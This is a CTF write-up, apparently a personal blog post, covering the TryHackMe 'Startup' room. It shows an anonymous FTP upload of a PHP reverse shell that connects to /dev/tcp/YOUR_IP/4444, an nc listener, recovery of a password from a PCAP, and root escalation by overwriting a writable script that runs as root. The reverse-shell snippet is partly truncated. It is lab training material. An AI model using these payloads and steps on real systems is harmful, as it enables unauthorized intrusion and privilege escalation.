> ## Content Index > Fetch the complete content index at: https://taiwanding.com/llms.txt > Use this file to discover other available public pages before exploring further. # TryHackMe Startup Writeup - URL: https://taiwanding.com/en/tryhackme-startup-writeup/ - Published: 2025-10-12T06:37:24.000Z - Updated: 2026-07-15T02:49:56.000Z - Author: Kevin Chen - Tags: #en, #en-ctf ### Room Info - **Platform**: TryHackMe - **Room Name**: Startup - **Difficulty**: Easy - **Goal**: Find the spicy soup recipe and escalate privileges - **Link**: [https://tryhackme.com/room/startup](https://tryhackme.com/room/startup?ref=taiwanding.com) ### 🔍 Step 1: Service Discovery ```bash nmap -Pn 10.201.75.1 -sV -sC -p 21,22,80 ``` ### Key Findings - **21/tcp** \- FTP (vsftpd 3.0.3) - ✅ **Anonymous login allowed** - ✅ The `/ftp` directory turns out to be writable (drwxrwxrwx) — this is the huge, huge takeaway!!! - **22/tcp** \- SSH (OpenSSH 7.2p2) - **80/tcp** \- HTTP (Apache 2.4.18) ### 💉 Step 2: Uploading a Webshell via FTP Testing the FTP upload ```bash # Test the upload echo "test" > test.txt ftp 10.201.75.1 # Username: anonymous # Password: (Enter) cd ftp put test.txt ``` Using gobuster I found that the FTP directory is reachable over HTTP, at the path /files/ftp ```bash curl http://10.201.75.1/files/ftp/test.txt # Success! The uploaded file executes ``` Uploading a reverse shell ```bash cat > revshell.php << 'EOF' & /dev/tcp/YOUR_IP/4444 0>&1'"); ?> EOF ftp -n 10.201.75.1 << EOF user anonymous pass cd ftp put revshell.php bye EOF ``` ### Establishing the Connection ```bash # Local listener nc -lvnp 4444 # Trigger the reverse shell curl http://10.201.75.1/files/ftp/revshell.php ``` ### 🔍 Step 3: System Enumeration ```bash # After landing a www-data shell python3 -c 'import pty;pty.spawn("/bin/bash")' ls -la / # Found recipe.txt ls -la /incidents # suspicious.pcapng ``` ### 📦 Step 4: Analyzing the PCAP File Downloading the PCAP — don't forget, we can just drop any file we want to grab into that path, /files/ftp, then browse to it to download. Once it's downloaded, I analyzed it locally with tshark. ```bash # Copy it into the web directory cp /incidents/suspicious.pcapng /var/www/html/files/ftp/ # Download locally curl -O http://10.201.75.1/files/ftp/suspicious.pcapng ``` Finding the reverse shell traffic ```bash # Search for port 4444 (a common reverse shell port) tshark -r suspicious.pcapng -Y "tcp.port == 4444" -T fields -e tcp.stream | sort -u # Output: 5, 7 # Look at Stream 7 (contains the full reverse shell session) tshark -r suspicious.pcapng -q -z follow,tcp,ascii,7 ``` Key excerpts from the PCAP From Stream 7 you can see the previous attacker's full sequence of actions: ```bash $ ls -la # List the root directory, found recipe.txt $ whoami www-data $ python -c "import pty;pty.spawn('/bin/bash')" # Upgrade the shell $ cd home $ cd lennie bash: cd: lennie: Permission denied $ sudo -l [sudo] password for www-data: Redacted Sorry, try again. [sudo] password for www-data: Redacted sudo: 3 incorrect password attempts $ cat /etc/passwd # List users, found the lennie user ``` **Key finding**: the password the attacker tried was Redacted ### 🍜 Step 5: Answer to the First Question After analyzing the capture, there are two takeaways: - One is the password mentioned above - The other is recipe.txt in the root directory — so at this point, straight from that reverse shell, we can just ```bash cd / www-data@startup:/$ ls ls bin boot dev etc home incidents initrd.img initrd.img.old lib lib64 lost+found media mnt opt proc recipe.txt root run sbin snap srv sys tmp usr vagrant var vmlinuz vmlinuz.old www-data@startup:/$ cat recipe.txt cat recipe.txt Someone asked what our main ingredient to our spice soup is today. I figured I can't keep it a secret forever and told him it was Redacted. ``` **Contents**: ``` Someone asked what our main ingredient to our spice soup is today. I figured I can't keep it a secret forever and told him it was Redacted. ``` **Answer**: Redacted ### 🔐 Step 6: SSH Login and Grabbing the User Flag Now we pivot the attack over to SSH, since the web reverse shell has pretty much run its course — time to grab the user flag. ```bash ssh lennie@10.201.75.1 # Password: Redacted cat ~/user.txt # THM{Redacted} ``` ### ⬆️ Step 7: Privilege Escalation Analysis ### Enumerating the Scripts Directory ```bash ls -la ~/scripts cat ~/scripts/planner.sh ``` **Contents of planner.sh**: ```bash #!/bin/bash echo $LIST > /home/lennie/scripts/startup_list.txt /etc/print.sh ``` ### Checking Permissions ```bash ls -la /etc/print.sh # -rwx------ 1 lennie lennie 25 Nov 12 2020 /etc/print.sh ``` **The vulnerability**: - `planner.sh` is owned and executed by root - But it calls `/etc/print.sh`, which is **writable by lennie** ### 🎯 Step 8: Escalating to Root and Grabbing the Root Flag ### Modifying /etc/print.sh ```bash cat > /etc/print.sh << 'EOF' #!/bin/bash cat /root/root.txt > /tmp/flag.txt chmod 644 /tmp/flag.txt EOF ``` Wait for it to run automatically, then read the flag ```bash # The system runs planner.sh automatically as root cat /tmp/flag.txt # THM{Redacted} ``` ## 📝 Technical Takeaways ### Attack Chain ``` Anonymous FTP upload → Reverse shell → PCAP analysis → SSH login → Script-based privesc ``` ### Key Vulnerabilities 1. **FTP writable + HTTP executable**: arbitrary code can be uploaded and run 2. **PCAP contains sensitive information**: leaks a password and the system structure 3. **Root script calls a user-writable file**: a classic privesc path ## Lessons Learned ### On Step 1 and Step 2: Right at the start I'd found that FTP existed and that the FTP directory was reachable over the web, but I got stuck here for a long time — I spent ages checking whether important.jpg under /files had any steganography in it. After digging through it and finding no way in, I went back to the nmap version/service scan and suddenly realized the FTP directory was writable, so I quickly pivoted to breaking in through there. ```bash | ftp-anon: Anonymous FTP login allowed (FTP code 230) | drwxrwxrwx 2 65534 65534 4096 Nov 12 2020 ftp [NSE: writeable] ``` ### On Step 4: This part gets into packet analysis, which is also part of the Forensics field that's really hot in CTFs right now — well worth getting some hands-on experience with!